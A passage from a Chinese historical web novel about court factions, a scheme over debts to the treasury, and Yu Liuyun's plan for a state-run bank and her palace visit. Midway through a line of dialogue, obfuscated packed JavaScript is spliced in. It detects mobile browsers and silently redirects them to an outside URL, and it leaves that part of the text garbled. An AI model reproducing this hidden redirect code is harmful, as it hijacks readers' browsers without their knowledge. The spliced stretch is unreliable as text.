悦敏一怔。赵王从桌上的匣子里取出一个布包,丢了过去:“你也不用说谎话来诓我,我知道你又和她纠缠不清。这些都是内务府总管何广田拿给我的,说是你托人带给博西勒——你知不知道你在做什么?如果不是何广田及时发现截住了交给我,万一要是被皇上的人发现了,你还有命在么?你不要忘记,你上次已经被玉旒云逮过个正着了!” 悦敏的面上一阵红一阵白:“西京夏天炎热,博西勒很不习惯,儿子听说她中了暑。这些都是她在草原时用来驱邪的药草……儿子只是想,如果她病了,就不能监视皇上……” “混帐!”赵王厉声打断,“你连一个谎话都编不圆,难怪会被玉旒云骗了——博西勒这步棋已经是死棋,她对我们已经再没有用处,你和她纠缠不清,只会坏了大事!” “没有用处?”悦敏瞪着父亲,眼中已有怒火,“父王的意思,就是要把她丢在皇宫里任她自生自灭了么?她的身份已经暴露,现在就像被打入了冷宫一般。既然不需要她再继续留在皇上身边,不如想办法送她回草原去?” “你昏头了么?”赵王怒斥,同时将草药包猛掷了出去,重重打在悦敏的脸上,“你这像是做大事的男人么?既然当初你舍得让她进宫,就应该想到她会有这一天!” 悦敏仿佛被打愣了,呆呆地抚着脸颊,其实脑海中晃过草原上的许多个日夜,并辔同骑,追逐嬉戏,蛮族色彩斑斓的服饰,和博西勒的艳丽灵动正相配……那一个夜晚,他在犹豫着他们的将来,而她则告诉他自己的决定,那样复杂的眼神,她说她知道他是个要做大事的男人。其实他心里当时有种冲动,想抓住她的手,说,不如就远走高飞?然而他也许真的是“做大事的男人”,他终于客套地谢了她,然后亲手将她,自己最心爱的女人推进了火坑。 博西勒,博西勒,北方明丽动人的琥珀。如今后悔莫及。 知子莫若父。赵王的语气缓和了下来:“博西勒是个好孩子,为父也很喜欢她。你现在和他保持距离对你们都好。大事一成,你不就可以把她从深宫里带出来了吗?你要送她回草原,还是要娶她,到时候还不都是一句话?她将来如果能做皇后,今天这点儿磨练算什么?” 悦敏显然并不同意父亲的话。他心里是另外的想法:如果大事不成,那么博西勒的牺牲也就白费了!她相信他是做大事的男人,他岂能不做一番大事来给她看?如此一想,只有把儿女私情先丢开一边,默默把那草药包儿拣起来揣进怀里,向赵王顿了顿首,道:“儿子去起草折子,写好了再拿给父王过目。” 76. 第 76 章 正如赵王所计划,要求犒赏东征部队每人二十两银子的奏折一经庆澜帝朱批同意发户部,就立刻引起了轩然大波:户部先是按照惯例打官腔,意图拖欠着笔银子,但是玉旒云处处用“议政王合议决断”来逼迫他们,而众议政王们也希望这事能早点儿解决,好堵住玉旒云的嘴,是以也不停地催促户部。终于,户部不堪其苦,到议政处来哭穷,承认由于官员借款成风,银库早就空了。悦敏听言,“惊”得手中茶碗差点儿掉到了地上。而玉旒云则拍案而起:“竟然向国库借钱,这不是挪用公款么?和贪污有什么两样?是什么人做此勾当,立刻扭送吏部革职查办!”悦敏见她这般生气,正合心意:据他所查,在座的议政王们,十之有九是欠了户部银子的。就拿胖子廉郡王来说,年前看中了西郊的一处别墅,要价四十五万,他就是从户部借银子买了下来,后来要在园中置一戏班,他又来支了几万两,简直把国库当成了自己家账房一般。玉旒云骂借钱的官员,就是骂廉郡王等人。她树敌越多,悦敏就越好办事。 果然,玉旒云才说了没几句,同样也欠了国库三十万两的雍穆公忍不住发话了:“如今这世界,谁没有难处?莫非就许你不停地兴兵打仗用银子,却不准别人养妻活儿了么?国库嘛,不就是给大家救急用的?外地水灾、旱灾可以从国库里调银子,京中亲贵们急等钱用,也没见国法哪一条哪一例说不准呀!” 他说得振振有词,玉旒云霎时间竟被堵得没了话。悦敏忍住心中的得意,道:“国库的确是拿来救急的没错。只不过,有些人从国库里借银子不是为了急事。况且,就是急事也有轻重。依我看,现在东征的十万大军需要领了劳军银子各回住地,这是十万火急的事,无论如何得要户部那边追一批银子回来,把这二百万两解决,否则这么多人马挤在东台大营也不成个事儿,大家看呢?” 悦敏这话说得十分巧妙:银子是要追的,不过只追拿不该借的。诸位议政王们都觉得自己买园子捧戏子是天经地义的事,怎么追也追不到自己的头上——尤其,假如出面追债的是悦敏的话。于是,他们纷纷点头:“永泽公说得很是中肯。” 玉旒云却清楚悦敏的把戏,冷笑道:“那什么是轻,什么是重?总要立出个规条来。反正我的十万大军东征归来等着还乡已经等得脖子都长了。再这么拖延下去,莫说是劳军银子,我看兵部很快就要来跟咱们支取粮食钱了——东台大营可供不了这么多人长吃长住。反正这是重中之重。其他什么亭台楼阁古董字画,我看都是混账之举,趁早叫他们还银子来,否则是官员就扭送吏部,是宗室就叫宗人府给我查办!” 她的话议政王们怎么听怎么不中听,俱想:如果让她参加追银子,岂不是大家都要倒霉?于是他们都向着悦敏道:“永泽公,我们就向皇上推举你主持户部追债之事,相信你一定能抓住贪官污吏。区区二百万两银子,抓两三条大蛀虫就追回来了。” 悦敏连声答应,谓一定不负所托。玉旒云却冷冷道:“只抓两三条蛀虫就算完事了?那剩下的蛀虫要怎么样?难道由这他们把国家蛀烂了、蛀垮了么?我们这些带兵的人出生入死为皇上打江山,没想到敌人却在自己家里面!” 话是越来越难听了,议政王们都沉下了脸。悦敏来打圆场:“方才不是说了么?有些人借银子是不得已而为之,这就不算是蛀虫。而另外一些人为一己之私害国累民,这些人当然应该揪出来,以正法纪。只是,当务之急是替玉王爷你追回二百万两劳军银子,所以当然拣那大蛀虫下手了。” “是么?”玉旒云冷笑,“我还以为你只打算敷衍我二百万两银子,然后就不管这些败类了呢!” 悦敏本来就计划拉玉旒云下水好让她继续树敌,当下道:“如果王爷你愿意来追查户部的亏空,那当然是什么败类也逃不了。你要是觉得我不能胜任追债之事,我大可以奏请皇上,委任你为追债钦差。” “那可使不得!”廉郡王第一个反对,“她……”一时没想出什么“正当”理由利反对玉旒云插手户部的亏空,结结巴巴了半天,又看向身边的雍穆公,请他出来说句话。雍穆公拿牙咬着茶碗,几乎要把瓷器咬下一块,才道:“这个……我觉得永泽公自进议政处处理政务以来,事事都做得妥贴,户部银库是国家命脉,兹事体大,还是永泽公辛苦些负责比较好。玉王爷毕竟只有带兵打仗的经验,户部毕竟不是战场嘛……呵呵……” 玉旒云无声地冷笑,瞥了悦敏一眼,仿佛是说,想独断专行,包庇纵容,没那么容易。悦敏做出很为难的样子,假装想了一会儿,道:“诸位信任在下,在下不胜感激。不过,正如大家所说,户部银库是国家命脉,如此重任恐怕我一个人处理难免力不从心。玉王爷既然愿意为国效力,若我们二人一同处理此事,大约再合适不过了。” 玉旒云只是冷笑,并不表态。廉郡王等人听了,则无不大摇其头:“使不得……使不得!”然而,毕竟想不出理由来阻止,他们只得退一步:“非得两人一同办理,那也要永泽公为首,内亲王为辅!” 这倒正合悦敏的心意。他还是来征求玉旒云的意见:“王爷屈居悦敏之下,不知……” 玉旒云冷哼一声:“大家都是给皇上办事,谁为首谁为辅,有什么好计较?把银库的账目查清楚了,银子追回来,是正经!” 悦敏轻笑道:“既然如此,就写折子吧。” 那折子很快就递了上去,庆澜帝准奏,任悦敏、玉旒云二人为钦差,克日进驻户部,清查帐目,责令大小官员、亲贵尽快偿还欠款。实际,皇帝的朱批表示了对挪用户部公款一事的震惊与愤怒,说这“简直视朕于无物”。朝会上,他更亲自表示了对追讨亏空的支持:“去年北方雪灾,朕还从内务府自掏腰包赈济,你们倒好,来掏朕的国库了?国家是朕的国家,还是你们自己的国家?” 他是个笑弥勒、老好人,文武百官没见他发过火。资格老的亲贵们纵见他板起了面孔,也毫不害怕。其实仁宗朝轻徭薄赋,国库充实,这才开始了挪用户部银子的不正之风,久而久之,大家都习惯了,觉得理所当然,加上法不责众,全朝廷都借户部的银子,还能全朝廷都法办不成?大家唯一担心的是,玉旒云不讲情面,这又事关她的劳军银子,在她追够二百万两之前,谁撞在她的刀口上,谁就倒霉。于是,人人都在心里默念“阿弥陀佛”,企望悦敏可以将事情兜住。 悦敏有《百官册》在手,知道自己的首要任务就是把罗满、潘硕等玉旒云一派的人拎出来法办,而同时要阻止玉旒云查到赵王一脉的人。于是,何玉旒云分工查帐之时,他故意抽起了几本至关重要的册子,剩下的二人平分,以确保玉旒云只会抓着些无关痛痒的官员。当然,廉亲王等人的一本烂帐他也全都假装疏忽,归到了玉旒云的手中,由着她去做恶人。玉旒云仿佛对他的诡计完全没有觉察,拿着分给自己的账册一笔一笔地核对,将官员借款的数目由高到低一一记录,又按照京官和地方官分开抄录成两份名单,准备先传唤京官前来谈话,再奏请庆澜帝任命几个地方清债钦差去追讨地方的欠款。 悦敏见她一丝不苟又不近人情,暗自得意,心想玉旒云大概有一阵子不会来干扰他做事了。于是他按照赵王的安排,将禁军火器营督尉裴力,善捕营督尉孔敬两人的欠款先还上了——因为这两个人新近投效赵王,他以为应该给他们以点好处,才能使之更为忠心。北疆镇守抚远将军的陈源虽然并不知道赵王的大计,但毕竟是赵王一手提拔出来的人,悦敏以为他无论如何不可能倒戈到玉旒云一边,所以就不替他还债,只是给他通了消息。而南方七郡总督黎右均、总兵黄延武处在肥缺之上,在庆澜帝真的排除清债钦差之前,相信他们一定能找够银子。至于兵部右侍郎谭方,悦敏通给他消息,但是叫他不要急着还钱,因为其他的一些京官都还摇摆不定,悦敏考虑非得叫他们吃吃玉旒云的苦头,并恨透了支持玉旒云的庆澜帝,这才会使他们投靠到赵王这边来。于是,悦敏要谭方负责到时煽风点火,鼓动这些京官闹事。 安排完了自己的人,悦敏就依照《百官册》的记录来找玉旒云部下的麻烦。首当其冲就是九门提督潘硕。他本胸有成竹打算让人请潘硕回来问话,开始翻开户部的账本一看,不禁吃了一惊:潘硕的欠款已经还清了!再看看还款的日期,正是前一天。 潘硕这个人一向谨慎,且对玉旒云又敬又怕,大概是庆澜帝查账的圣旨一下,他怕被玉旒云发现自己的“劣迹”所以立刻想法把银子还上了?悦敏虽然想出了这样的解释,但是心里还是闪过一丝不安。他飞快地查到罗满的那一页,无独有偶,罗满的欠款也已经还清,日期还在潘硕之前——甚至还在玉旒云答应以劳军银子代替养老税计划之前。悦敏的心中登时一凉:坏了,莫非玉旒云早有防备,这追查亏空之事根本就是她的诡计? 他的担心很快就被证实了。户部经手处理罗满和潘硕欠款的两位员外郎告诉他,潘硕的银子是自己来还的,不过罗满的银子系由石梦泉代还。石梦泉来替罗满还款之前也翻过账本,虽然没说要找什么,但是现在悦敏看来再明显不过,他是要看还有多少部下被户部记录在案。 可恶!悦敏气得差点儿想把手中的账本撕了。居然着了玉旒云的道儿。这个女人,真是士别三日当刮目相看! 他死死地瞪着满纸密密麻麻的名字,知道现在不是发火的时候。挥手让左右都退下去做事,他强迫自己冷静下来分析玉旒云举动的目的何在。 养老税如果是烟幕,为的是引出清查户部亏空,那么清查户部对她有什么好处?莫非她也掌握了赵王派系欠银的线索,所以想打击赵王的人?悦敏虽然承认自己过往低估了玉旒云,但信她有如此大的本事能够查出谁是赵王一边,又能知道他们的弱点——毕竟,连她自己的手下闹亏空,她也是要石梦泉来户部打听才晓得的。况且,就算她真的查出什么蛛丝马迹,关键大人物的欠款都由赵王府出钱还清了,而且赵王府只出钱,不出面,玉旒云决抓不到把柄。看来,要尽快把其他的隐患也解决了! 想到这一层,悦敏赶紧计算赵王一派究竟欠了户部多少银子。京官凡四品以上的,他当夜就秘密地见了,一个个从赵王府的账上开了银票给他们,嘱咐他们立刻把拖欠户部的银子还上——赵王府的银票有不少是户部官票,为免被玉旒云发觉,悦敏叮嘱这些官员们先去外面的钱庄兑换了现银再去户部清还。他一边吩咐,一边就想起了玉旒云夜会西京票业十二大财东又暗中拉拢鼎兴银号的事。他脊背不由出了一层冷汗:如果她早就和这些票号连成一气,我叫人去兑换银子,岂不正撞进她的圈套里?没想到这个小丫头不止先了他一步!因而又命令这些官员:万万不可在西京的票号兑换银子,要到外省换好了再运回京来。官员们还不完全知道事态的严重,虽然感激赵王出钱帮他们躲过玉旒云的追查,却也在心中暗暗叫苦:不能在西京换钱,就至少要去五十里之外的顺城——如果大家一窝蜂地跑去,顺城的现银不足,就得去更远的城镇。他们每人亏空的数目都不小,如此大的一笔银子在路上运输,得派多少保镖护院?当然,没有人敢在悦敏面前露出丝毫抱怨的情绪来,千恩万谢,才离开了赵王府。 接下来,悦敏又设法分几批联络了四品以下的京官。赵王府毕竟不是取之不尽用之不竭的聚宝盆,不能把所有人的债务都扛下来。他警告这些人,玉旒云就快找他们的麻烦了,不管是卖田押房子还是借高利贷,无论如何要把户部那边的亏空填上,否则玉旒云逼债上门,赵王府可保不了他们。这些官员困守京城,所欠的银子基本都是被同乡打秋风累出来的,虽然不多,但他们没有发财之路,简直不知从何还起。幸亏悦敏给了一个定心丸,说这只是暂时的,决不会让玉旒云长期折腾下去,只要风头一过,他们又可以从户部重新把银子借出去。这些人才稍稍放了心,各自出去想办法。 忙完了京官就要料理地方官。好在地方官财路多财源广,情势也没那么紧急。他指派人秘送急信给各人,谓,无论用什么办法,克扣火耗银子也好,征收寻欢买醉税也罢,做好被钦差查账追债的准备。 所有的事情都暂告一段落,他才得闲喝一口水,思量更长远的行动:方才的一切都只是防守,自己这边防守得万无一失,就可以激玉旒云把事情闹大,让她缠在麻烦中无法脱身——连赵王府如此财力都无法保住所有同党,玉旒云难道能保住所有的部下么?且看他怎么下台! 他想着,突然被怀里的一件事物梗了一下,伸手摸摸,是那个准备送给容贵妃博西勒的草药包。心底有无限的渴望,只想见她一面。然而……他狠狠地捶了自己一拳,为什么会有这种一事无成之感? 他要赢,这条不归路上,他非赢不可。 玉旒云虽然一直不停地在查账并抄录官员名单,然而,几天来,她连一个官员也没有召见过。不过,朝野上下愈加一片人心惶惶——她将会“秋后算总账”则传闻越来越有鼻子有眼,而谁也不知道自己究竟有没有落在玉旒云的手里。 其实玉旒云查归查,抄归抄,每天真正花心思的,都是从十二大财东那里请教来的票号心得,绞尽脑汁挖空心思,她一定要设计出一个能够顺利运转的户部官办票号来。不过她对这一行实在太生疏,订了这条规程又觉得那里不妥,该了那个规章又发现这里行不通,几天来,白天想得食不知味,夜里虑得辗转难眠。外人以为她是为了追债而操心,哪晓得她有如此大计! 悦敏想针对罗满和潘硕的诡计她一早就防备着,然而悦敏从赵王府拿银子填补亏空虽然在情理之中,她却并没有上心,更没有像悦敏担心的那样,交待西京票号严查兑换官票的人。这事后来之所以还是引起了她的注意,应该算是晋二娘的功劳——因为玉旒云要求鼎兴放宽私人借贷的限制,又要预备接受大宗借贷,晋二娘紧急向西京附近的分号调集现银。不过,顺城、戚县的分号回报说有好几位客人持户部官票连连兑走大笔白银。晋二娘感觉事有蹊跷,就来告诉玉旒云。 玉旒云拿这她带来的一沓官票看了看,虽然上面并没有写上“赵王府”三个字,但是玉旒云还是立刻就料到了原委,心中暗笑:赵王有多少党羽?他又有多少身家可以用来填这个无底洞?我想制造一点恐慌,现在悦敏也帮忙来吓唬人了,还怕不天下大乱?她当即笑着对晋二娘道:“你发财的机会就要来了,就在这几天,你鼎兴的门槛儿恐怕都会被踏平——估计还会有更多的人跑去你的分号兑换官票。你如果现银不够,就不要兑给他们了。这些没什么好处的事,就交给其他的票号去做吧。” 晋二娘很识趣,尤其她知道在玉旒云面前不该问的一定不能问,于是只点头答应就要告退。不过玉旒云又叫住了她:“我这里有一份银号规条,你看看合不合理。”说着,把自己的札记递了过去。 晋二娘三角眼一翻:“看?王爷这是在拿小妇人开心了。小妇人不识字,王爷当初不是还为这事臭骂了我一顿么?” 玉旒云一愕:怎么竟忘了这茬儿?当下笑道:“抱歉,抱歉,我来说,你来看妥不妥当。”伸手示意晋二娘坐下,又叫她自己斟茶喝,便把自己的设想一条一条解释了一回。 晋二娘一边听,一边就暗自震惊:她知道玉旒云向十二大财东询问过票业的规矩和窍门,也听这位年轻的内亲王提过官办票业。然而,在晋二娘看来,这大概又是宫中的争权夺利手段,就像众多戏文里唱的一样。她后悔自己招惹了是非,只想赶紧把差事办完了,再不奢望让梁新做什么官商。没想到,玉旒云竟然是动了真格儿的想要办票号,把十二大财东的意见统统糅合,也采纳了自己那用律法来防范欠债不还得建议。虽然显见玉旒云是外行,许多地方设计得前后矛盾,但用心之诚,态度之严肃,可见一斑。她又看玉旒云的气色,明显比上次见时憔悴了许多,莫非这几日来她都在为官办票业而操劳? 原本对玉旒云存着害怕,甚至对她扣下梁新做人质的事还有怨恨,这时晋二娘心里不由生出了敬爱之感,又回想起当年丈夫病倒,自己初初接手银号,两眼一抹黑,还不是这样一步一步地摸索?那又度过了多少个不眠之夜?多少次棘手的问题逼到眼前,头绪全无,眼泪得往肚子里咽?如此一想,又有了亲切之意。一个念头自然浮上了心间:要把自己的经验倾囊相授,全力帮玉旒云建立官办票号。 玉旒云说着说着,觉得晋二娘看自己的眼神大有不同,奇怪地停了下来:“怎么?我脸上有什么么?” “没有。”晋二娘道,“原来王爷认真做事的时候也不是那么冷冰冰可怕的一个人。” 玉旒云听着觉得前言不搭后语。 晋二娘又笑了笑,接着道:“小妇人的意思是,王爷真的在官办票号上花了许多心血。您写的这份规程,可真是集天下票号之大成了。”顿了顿,她又道:“不过有些地方依我看还得改,比如这个借贷利息,固然票业规矩是借得越多,利息越低,然而也没有不封底的,总有个最低的限度,并且要看借期的长短来灵活增减。这些鼎兴那里都有现成的,明天我可以拿给王爷。不过王爷的票号和普通的票号不同——普通票号首要是盈利,但是官办票号代表了朝廷,做的就是普通票号作不了的事,当然盈利也就不是最主要的目的。王爷的票号将来要替朝廷赈济地方,支持灾后重建,又要帮一些人——比方孝子贤孙——解燃眉之急,这些是本分是功德,如果还要收人利息,那还成什么话?所以小妇人看来,应该都是免息。” 玉旒云一听,果然有理,赶紧提笔记了下来。 晋二娘又道:“官员可以从俸禄里慢慢扣除欠款,所以将来大人的票号借银子给有功名吃俸禄的人,一定没什么顾虑。那么普通老百姓呢?他们怎样偿还?大人的票号会不会因为这样的顾虑就不愿借银子给平民?我倒给大人出个主意——以劳偿贷,可以修路、修水利、运军粮,按照所做的工程抵算相应的银钱,不是很好吗?” 果然又是好主意!玉旒云再次记下。 如此,晋二娘一条一条地说,玉旒云一条一条地记,才一个时辰,官办票号的规程就比开始完善了许多。玉旒云谢了晋二娘,看天色已晚,就派下人送她回梁家去。自己又挑灯夜战继续钻研票业窍门,因为得到了晋二娘的启发,这一夜思录思路清晰敏捷,获益良多,竟不觉时光飞逝。等感觉脖颈酸疼,起身活动筋骨时才发现窗户纸已经发白。 精神依旧亢奋着,再说已经到了去上书房请见的时间,她想,既然官办票号已经有了雏形,应该给悦敏制造的混乱再加一把柴。于是随便吃了点东西,拿上这几天抄录的亏空官员名单,就进了宫。 到了上书房,门口已经有许多递了牌子的人在等着,悦敏也在其列。如今玉旒云来了,那便是两位查帐钦差都到齐,大家心里不由全打起了鼓:难道今日就是所谓的“秋后算账”之期? 悦敏嗅到了紧张的味道,微微一笑,转身和旁边的工部尚书萨承尧聊起了大青河的水利。入汛以来共有几次险情,沿河各州县征调了多少民夫,现在河堤水坝修筑进度如何——悦敏了若指掌,跟萨承尧有问有答,仿佛他这几日来并没有一心扑在户部,而是时刻注意着南方的水利。众人听他侃侃而谈,渐渐都想,莫非他今日也不是为了亏空,而是为了水利而来的么?大家惊惧又怨恨的目光伴有都转到了玉旒云身上:看来想要大家都没好日子过的就只有着狂妄的小丫头一个! 玉旒云不和他们攀谈,冷冷地站着,还故意要把胳膊下夹着的一大叠名单露出来给人看看。别人的神色越紧张,她心里就越是暗暗好笑:这些官员里哪一个心血少的,恐怕会被吓死。 廉郡王并无事要面圣,只是路过,看到大臣们一个个跟霜打蔫儿了似的,又瞧见面带冷笑的玉旒云,就忍不住进来说几句风凉话:“干木头也想榨二两油呢,却不肯到兵营里把枪杆子、刀把子拿来榨,偏偏要在人身上下功夫,大家还等什么?回家砸锅卖铁吧!”玉旒云横了他一眼,他就更来劲儿了,道:“我老婆头上还有几根簪子,我这就回去卖。各位自寻生路吧,少陪!”甩了甩袖子,径自去了。 玉旒云冷笑一声,看看周围的官员。那些人夏日里也都拢了袖子,缩到一遍去了。悦敏在那里诡异地轻轻摇头微笑。 不时就轮到玉旒云进去见庆澜帝。她走到门口,却把那叠名单收了起来。进去行了礼,才要开声,庆澜帝已道:“朕听到廉郡王在外头吆喝了。其实朕早想问你,这节骨眼儿上,爱卿怎么想起来取捅户部那个马蜂窝?” 玉旒云道:“就是因为在节骨眼儿上,才来捅马蜂窝。让马蜂把藏在暗处的恶人叮个满头包,趁他们逃命慌不择路,臣就布下罗网将他们一网打尽。” 自东征之后,庆澜帝还是第一次听玉旒云切实地说道要对付赵王,连忙追问:“爱卿已经布置好了么?” 玉旒云笑笑:“万岁放心,臣步步为营,届时自然水到渠成。万岁身边耳目众多,臣说给你知道的越多,就越有可能泄露。” 任谁被蒙在鼓里都不会太开心,尤其还是关乎自己生死的事。不过庆澜帝知道玉旒云的顾虑确有道理,也就不再问,只道:“爱卿今日见朕是什么事?莫非你是打算彻底捅了这马蜂窝,要朕给你旨意查办闹亏空的大臣?只怕那样满朝文武也就不剩几个了。” 玉旒云摇摇头:“还没到时候。臣是另外有事想求万岁做主——万岁还记得臣先前和养老税一起提过的兴建武备学塾的计划么?” “记得。”庆澜帝道,“只不过后来吵翻天的只有那养老税,这个倒无人提起。朕记得当初兵部是极力支持的,其他各部也没有反对。你若要做,大可以放手去做。何必还要求朕做主?” 玉旒云笑道:“既然万岁开了金口,臣就要着手去办差事了。臣想把第一间武备学塾办在南方七郡中东庭郡的贺城县。” “哦?”庆澜帝奇道,“天下之大,为什么一定要挑贺城县?” “回万岁,贺城县是梦泉的家乡。”玉旒云回答,“微臣以为,梦泉平民出身,如今做到大将军之职,可见一心为国努力奋斗才是功成名就的关键。如今若让梦泉衣锦荣归,修葺祖坟祠堂,同时创办第一所武备学塾,正可为一方之标榜,鼓励贺城县甚至东庭郡的少年都积极入学,报效国家。这佳话传遍全国时,天下少年争相习武,各州县说不定还自资兴建学塾,到时候皇上还愁选拔不到人才么?” “果然如此!”庆澜帝拊掌道,“朕即位之初恩科武举挑出来的那几个如今都站在外面,身手是很好的,但是同你和石卿家比起来,他们实在难当大任。武备学塾希望能够多多培养人才——啊,说起来秋天武科大比,今年让石梦泉来主考,如何?” “希望他能赶得回来。”玉旒云道,“臣想,贺城县的事应该由他亲自去办,顺便也让王嬷嬷和石嬷嬷回家乡看看。而时间上,臣以为就定在太祖诞辰节。本来就是普天同庆的大好日子,而太祖皇帝马上打天下,武功无人能及,也算是武备学塾开学的好意头。” “这样急?”庆澜帝道,“你不怕皇叔突然发难,石爱卿不在,你一个人怎么应付得来?” “皇上放心。”玉旒云道,“臣有分寸。臣想到那时候他已经发难不起来了。” 庆澜帝讶了讶:“如果石卿家要在太祖诞辰节赶到贺城县,八月初总要起行了。现在还剩下一个来月的时间,你有把握把这大麻烦解决了?” 玉旒云点点头:“万岁放心。臣决不敢拿社稷大事开玩笑。几万大军还驻扎在城郊,万岁还怕一两个奸人玩花样吗?” 庆澜帝没有立刻回答,抓抓脑袋,想了想,才道:“那……那朕反正也指望不了别人,你想怎么办,就放手去办吧。” “是。”玉旒云倒身跪下领旨。 庆澜帝虚抬了抬手,示意她可以退下了,但又叫住了,道:“你得闲的话,可以去看看你姐姐,她有一阵子不见你,总放不下心来。反正王嬷嬷和石嬷嬷出宫回乡的事也要她这个皇后来做主才行。” “遵旨。”玉旒云又再次拜下,“臣也正好想念姐姐了。多谢万岁。” 退出上书房,既有旨意就入后宫去看望玉朝雾。这时已是盛夏时节,木叶茂密,宫殿的亭台楼阁都被藏在浓绿之中。玉旒云在日头下走了片刻,因为头一夜没有休息,不觉就有些头晕眼花。她暗想,莫要中暑才好,就贴着墙根儿躲在阴凉地里。但西京气候独特,无论太阳如何暴晒,阴影中总是凉飕飕的,她骤热骤冷,两眼就猛然一黑,脚下也是一阵发虚,身体不听使唤便要摔倒下去。只忽听有人唤:“玉大人!”又抢步上来将她扶住,她定了定神,才看到来人是大夫林枢。 “咦,你怎么在这里?”她问。 林枢一边扶住她,一边就手给她把脉,答道:“大人晋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728657|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封内亲王,下官还没有给你道喜呢,不想却在这里遇上……嗯,看样子下官没法道喜,要先报忧了,大人脉象浮涩,是大病之兆。” 玉旒云每次遇到他都被他说得好像就要死了一般,难免有些不耐烦,尤其现在和赵王的争斗正是关键的时刻,她如何有心情来听“养生之道”。便抽回了手,道:“我不过是昨夜未休息好,刚才又被太阳晒了一下,遭了暑气罢了。你还没回答我,你怎么在这里呢!” 林枢不回答她的问题,只从药箱里取出些薄荷叶来给她定神解暑。旁边给林枢打下手的御药房小太监就插嘴道:“王爷有所不知,林大人现在是后宫里的大红人,妃嫔们都点名要他看病。当时皇后娘娘生太子时也是亏得有林大人在,才万事顺遂呢!” “你……医过我姐姐?”玉旒云讶异道,“怎么没听你说过?” “王爷你不知当时有多凶险!”小太监继续道,“奴才都吓傻了,幸亏林大人镇定,医术又好……” “只是我以前见过这种病例而已。”林枢道,“没有什么大不了的。” “皇后娘娘有什么事么?”玉旒云关切地问。 “皇后娘娘本来身体康健,又一向注意调养,现在早已经痊愈了。”林枢道,“反而王爷你自己……” 玉旒云摆了摆手:“没功夫跟你啰嗦。你该干什么干什么去吧。”便扶着墙站稳了,又试着走了几步,已经不再感觉晕眩了,于是径自朝凤藻宫走。不过行了几步,发现林枢紧紧跟着不放,不禁恼火道:“你还要怎么样?” 林枢并不生气,淡淡道:“下官要去凤藻宫给皇后娘娘请平安脉。大人也是去给娘娘请安么?那正好同路。” “你也去凤藻宫?”玉旒云心念一闪,停下脚步盯住了他,“要是你敢再姐姐面前胡言乱语,小心你的脑袋。” 林枢不答,只淡淡地笑着,做了个“请”的动作,让她先走。玉旒云真是有气没处使,负了手疾步往前,边走边想:这个姓林的,怎么就这么叫人讨厌?又想到端木槿对自己也时常是如此态度,便嘀咕:莫非这些医生都是一个德性?还是单只这两个人是天生一对? 不觉已经到了凤藻宫,玉朝雾正带领一群宫女在凉亭里做针线。这些年轻的女孩子深宫寂寞,过去常见到的青年男子就只有石梦泉,却是对她们视若无睹的,如今见多了温文的林枢,大家都私下里对他议论不止。这时看他和玉旒云一起来到,就赶忙出迎。玉朝雾则是打从上次的定婚宴之后就一直担心妹妹,此刻也顾不得日头毒辣,跑出了凉亭,拉着玉旒云细细打量,见她既无愁容也无怒色,跟过去没什么两样,心中的石头才放下了,但依旧觉得这婚事实在古怪。只是想起上次因为问起婚事,姐妹俩不欢而散,她也只好把这份担心压下了,笑着问:“今天怎么这么有空?” 玉旒云道:“没空也抽个空——姐姐才是,这么好心情教人作针线?” 玉朝雾道:“你想来是过得糊涂了,连日子也不知道。今天是七夕。” “哦。”玉旒云想:那么果然离派石梦泉去南方只剩一个月光景了。 “玉大人哪里过七夕呢?”石氏在一边笑着道,“都是小姑娘们才弄得玩意儿——娘娘、大人,别在这里晒着,偏殿理阴凉些,上那边去吧。” 玉朝雾道:“也好。林大人是来请平安脉的吧?时辰正好。一会儿我该去钦安殿陪太后诵经了。”她说着又吩咐宫女们:“你们不必来伺候,去准备夜里节目吧。”七夕是年轻女子最开心的节日,莺莺燕燕的姑娘们都笑着退去,临走还不忘偷偷地又看了林枢两眼。 王氏与石氏引着三人来到凤藻宫偏殿。玉朝雾一边和妹妹闲聊,一边就让林枢把平安脉给请过了。林枢回说脉象平和一切安好,便循例嘱咐王氏、石氏去关照御膳房多准备清淡的食物,宫殿里也要做好防暑降温的功夫。 王氏道:“解暑的饮料倒是早就准备好了,林大人不赶时间,也喝一碗。”便自去拿了冰镇酸梅汤来。 玉旒云本就喜爱此物,加上方才在太阳下呆了一阵,正口干舌燥,几乎是从王氏手中抢过来就喝。却不想林枢忽然道:“王爷不能喝。” “为什么?”玉旒云在姐姐面前不想发火,但是对林枢的忍耐已经到了极限。 “大人本来中气内虚,现在若饮冷无度,势必引发阴暑之症。”林枢说着,已经拿走了玉旒云的汤碗。 “笑话!”玉旒云简直气坏了,“我哪年夏天不喝冰镇酸梅汤的?什么时候就得阴暑之症了?你不要红口白牙咒人!” 林枢道:“咒人是咒不出病的,不过暑热风寒之邪乘虚而入,就一定会病。大人刚才差点儿晕倒,难道……” 才说到这里,玉朝雾已经变了颜色:“云儿,你刚才晕倒么?怎么一会事?” 玉旒云把林枢恨得牙痒痒的,但还笑着跟姐姐掩饰:“别听林大夫大惊小怪,我刚才从阴凉地里一下子走到日头下,阳光太刺眼了,一时眼花,根本就不是什么中暑。” “果真?”玉朝雾知道妹妹小时候多病,长大后虽然还康健,但总让人免不了挂心。她这时细看玉旒云的面色,战场上带回来的栗色还没有褪尽,虽不红润,也不苍白,便将信将疑,道:“但是大热的天气,自己也小心,吃生冷之物也不能由着性子。姐姐不能总在你身边照顾你。” “我知道啦。”玉旒云全然小孩子语气。 “娘娘,”石氏低声提醒,“到时辰去钦安殿了,要是比老佛爷去得迟可不好。” 玉朝雾姐妹刚刚见面又要分别,虽然不舍,却也无奈,因恋恋地起了身,道:“好吧。我去了。云儿你自己再多坐一会儿,缓一缓再出门。” “是。”玉旒云答应着,并起身恭送:“能不能让王嬷嬷和石嬷嬷留下,梦泉有话要带给她们。” 